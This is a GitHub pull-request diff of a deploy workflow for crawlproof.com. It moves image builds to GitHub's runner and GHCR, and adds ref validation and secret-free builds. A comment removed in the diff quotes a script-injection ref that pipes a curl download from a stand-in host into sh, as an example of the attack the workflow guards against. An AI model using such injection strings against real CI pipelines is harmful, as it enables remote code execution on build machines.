Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .dockerignore
Original file line number Diff line number Diff line change
Expand Up @@ -8,3 +8,5 @@ worker/dist
*.log
.DS_Store
README.md
.env.*
!.env.example
204 changes: 165 additions & 39 deletions .github/workflows/deploy-dev2.yml
Original file line number Diff line number Diff line change
@@ -1,51 +1,179 @@
name: Deploy to dev2

# Replaces Railway's git-push auto-deploy. Railway watched this repo and
# redeployed on every push to main; this does the same thing against dev2.
# Ship every merge to dev2 (crawlproof.com, ops/selfhost/server/deploy-app.sh).
#
# dev2 never compiles anything. The `image` job builds the image here on GitHub's runner
# and pushes it to GHCR tagged with the full commit sha. The `deploy` job runs the site's
# deploy-app.sh <sha> over ssh: with IMAGE_REPO in its deploy.env the box only `docker pull`s
# that tag and runs `compose up -d --no-build` (health check and rollback unchanged). A
# missing tag stops the deploy with an error; it never falls back to a local build.
#
# The build happens ON dev2, not here: the image bakes NEXT_PUBLIC_* in at
# build time and those values live in /home/anthony/www/crawlproof.com/app.env,
# which never leaves the box. CI only needs to be able to ssh in.
# Pull auth: this job's short-lived GITHUB_TOKEN (packages: read) goes to the box on ssh
# stdin, is used once with a throwaway DOCKER_CONFIG and is never stored.
#
# Secrets required:
# DEV2_SSH_KEY private key for the deploy account on dev2
# DEV2_HOST dev2.profullstack.com
# DEV2_USER anthony
# DEV2_KNOWN_HOSTS output of `ssh-keyscan dev2.profullstack.com`
# The image holds no secrets: the only build args are public NEXT_PUBLIC_* values (repository
# variables), .env* is in .dockerignore, and app.env is mounted on dev2 at run time.
# Same pattern as profullstack/c0mpute #489.
#
# NEXT_SERVER_ACTIONS_ENCRYPTION_KEY is NOT a build arg any more: Next reads it from the
# environment at run time first (encryption-utils: env || manifest), and app.env has it.
name: Deploy to dev2

on:
push:
# master, not main — this repo's default branch is master, and a workflow
# watching main would simply never fire.
branches: [master]
workflow_dispatch:
inputs:
ref:
description: Git ref to deploy (defaults to the pushed commit)
description: Git ref to deploy (commit id or vX.Y.Z; defaults to the branch head)
required: false
type: string
deploy:
description: Deploy to dev2 after the image is pushed (false = build and push only)
required: false
type: boolean
default: true

# One deploying run at a time; a newer push replaces a pending one, so an older
# build can never deploy over a newer one. A build-only dispatch (deploy=false)
# stays out of that queue.
concurrency:
# One deploy at a time; a newer push should wait rather than race a build
# that is already halfway through `next build` on the box.
group: deploy-dev2
group: ${{ (github.event_name == 'push' || inputs.deploy) && 'deploy-dev2' || format('crawlproof-web-image-{0}', github.run_id) }}
cancel-in-progress: false

permissions:
contents: read

env:
IMAGE: ghcr.io/profullstack/crawlproof-web

jobs:
deploy:
image:
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 60
permissions:
contents: read
packages: write
outputs:
sha: ${{ steps.rev.outputs.sha }}
steps:
# Every ${{ }} below goes through env, never straight into the shell.
# `inputs.ref` is attacker-controllable through workflow_dispatch, and
# interpolating it into a `run:` body is script injection: a ref like
# `main"; curl evil.sh | sh; #` would execute on the runner.
- name: Resolve target revision
id: rev
# ${{ }} values go through env, never straight into a run: body.
- name: Check the requested ref
env:
REF: ${{ inputs.ref || github.sha }}
run: echo "sha=$REF" >> "$GITHUB_OUTPUT"
# The sha ends up on the box's command line, so anything but a commit id
# or a release tag is refused here.
shell: bash
run: |
if ! [[ "$REF" =~ ^([0-9a-f]{7,40}|v[0-9]+\.[0-9]+\.[0-9]+)$ ]]; then
echo "::error::ref must be a commit id (7-40 hex) or a release tag (vX.Y.Z)" >&2
exit 1
fi

# Public build-time values (Next inlines NEXT_PUBLIC_* into the client bundle):
# repository variables, not secrets, because every browser receives them anyway.
# Change one with `gh variable set NAME -R profullstack/crawlproof.com` and redeploy.
- name: Check the public build variables
env:
NEXT_PUBLIC_SITE_URL: ${{ vars.NEXT_PUBLIC_SITE_URL }}
NEXT_PUBLIC_SUPABASE_URL: ${{ vars.NEXT_PUBLIC_SUPABASE_URL }}
NEXT_PUBLIC_SUPABASE_ANON_KEY: ${{ vars.NEXT_PUBLIC_SUPABASE_ANON_KEY }}
run: |
missing=""
for v in NEXT_PUBLIC_SITE_URL NEXT_PUBLIC_SUPABASE_URL NEXT_PUBLIC_SUPABASE_ANON_KEY; do [ -n "${!v}" ] || missing="$missing $v"; done
[ -z "$missing" ] || { echo "::error::repository variables not set:$missing" >&2; exit 1; }

- uses: actions/checkout@v5
with:
ref: ${{ inputs.ref || github.sha }}
persist-credentials: false

- name: Resolve the full commit id
id: rev
run: |
sha=$(git rev-parse HEAD)
[[ "$sha" =~ ^[0-9a-f]{40}$ ]] || { echo "::error::cannot resolve a commit id" >&2; exit 1; }
echo "sha=$sha" >> "$GITHUB_OUTPUT"
echo "building $IMAGE:$sha"

- uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}

# A redeploy or rollback of a sha that was already built pushes nothing new.
- name: Already built?
id: have
env:
SHA: ${{ steps.rev.outputs.sha }}
run: |
if docker buildx imagetools inspect "$IMAGE:$SHA" >/dev/null 2>&1; then
echo "built=true" >> "$GITHUB_OUTPUT"; echo "$IMAGE:$SHA already in the registry"
else
echo "built=false" >> "$GITHUB_OUTPUT"
fi

- name: Free runner disk
if: steps.have.outputs.built != 'true'
run: |
sudo rm -rf /usr/share/dotnet /usr/local/lib/android /opt/ghc /opt/hostedtoolcache/CodeQL /usr/local/share/boost
df -h /

- uses: docker/setup-buildx-action@v3
if: steps.have.outputs.built != 'true'

# No secrets go into this build: the only build args are public values,
# .env* is not in the context, and app.env is mounted on dev2 at run time.
- name: Build and push
if: steps.have.outputs.built != 'true'
uses: docker/build-push-action@v6
with:
context: .
file: Dockerfile
platforms: linux/amd64
push: true
provenance: false
tags: ${{ env.IMAGE }}:${{ steps.rev.outputs.sha }}
build-args: |
NEXT_PUBLIC_SITE_URL=${{ vars.NEXT_PUBLIC_SITE_URL }}
NEXT_PUBLIC_SUPABASE_URL=${{ vars.NEXT_PUBLIC_SUPABASE_URL }}
NEXT_PUBLIC_SUPABASE_ANON_KEY=${{ vars.NEXT_PUBLIC_SUPABASE_ANON_KEY }}
labels: |
org.opencontainers.image.source=https://github.com/${{ github.repository }}
org.opencontainers.image.revision=${{ steps.rev.outputs.sha }}
org.opencontainers.image.url=https://crawlproof.com
org.opencontainers.image.title=crawlproof.com web + audit worker
# Layer cache in the Actions cache (not artifacts, not GHCR storage).
cache-from: type=gha,scope=crawlproof-web
cache-to: type=gha,scope=crawlproof-web,mode=max

- name: Smoke test the image
if: steps.have.outputs.built != 'true'
env:
SHA: ${{ steps.rev.outputs.sha }}
run: |
docker pull -q "$IMAGE:$SHA"
test "$(docker inspect -f '{{ index .Config.Labels "org.opencontainers.image.revision" }}' "$IMAGE:$SHA")" = "$SHA"
docker run --rm --entrypoint sh "$IMAGE:$SHA" -c 'test -f server.js && test -d worker'

# Keep the registry small: the newest 15 builds are plenty for rollbacks.
- name: Prune old images
if: steps.have.outputs.built != 'true'
continue-on-error: true
uses: actions/delete-package-versions@v5
with:
package-name: crawlproof-web
package-type: container
min-versions-to-keep: 15

deploy:
needs: image
if: github.event_name == 'push' || inputs.deploy
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:
contents: read
packages: read
steps:
- name: Set up ssh
env:
SSH_KEY: ${{ secrets.DEV2_SSH_KEY }}
Expand All @@ -57,25 +185,23 @@ jobs:
printf '%s\n' "$KNOWN_HOSTS" > ~/.ssh/known_hosts
chmod 644 ~/.ssh/known_hosts

- name: Deploy
# The token rides stdin (never argv, never a file on the box); deploy-app.sh
# reads one line before it queues for a deploy slot.
- name: Deploy (pull the prebuilt image)
env:
DEV2_USER: ${{ secrets.DEV2_USER }}
DEV2_HOST: ${{ secrets.DEV2_HOST }}
SHA: ${{ steps.rev.outputs.sha }}
SHA: ${{ needs.image.outputs.sha }}
GHCR_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
# The sha is passed as a positional argument rather than being
# spliced into the remote command string, so a hostile ref cannot
# extend the command that runs on dev2 either.
ssh -o BatchMode=yes "$DEV2_USER@$DEV2_HOST" \
printf '%s\n' "$GHCR_TOKEN" | ssh -o BatchMode=yes "$DEV2_USER@$DEV2_HOST" \
/home/anthony/www/crawlproof.com/deploy-app.sh "$SHA"

- name: Verify the site answers over TLS
# deploy-app.sh already health-checks on loopback; this proves nginx and
# the certificate in front of it are serving the new container too.
- name: Verify the site answers
run: |
for i in $(seq 1 10); do
code=$(curl -s -o /dev/null -w '%{http_code}' https://crawlproof.com/ || true)
if [ "$code" = 200 ]; then echo "crawlproof.com 200"; exit 0; fi
code=$(curl -s -o /dev/null -w '%{http_code}' "https://crawlproof.com/" || true)
case "$code" in 200) echo "crawlproof.com $code"; exit 0;; esac
echo "attempt $i: $code"; sleep 10
done
echo "crawlproof.com never returned 200"; exit 1
echo "crawlproof.com never answered"; exit 1
Loading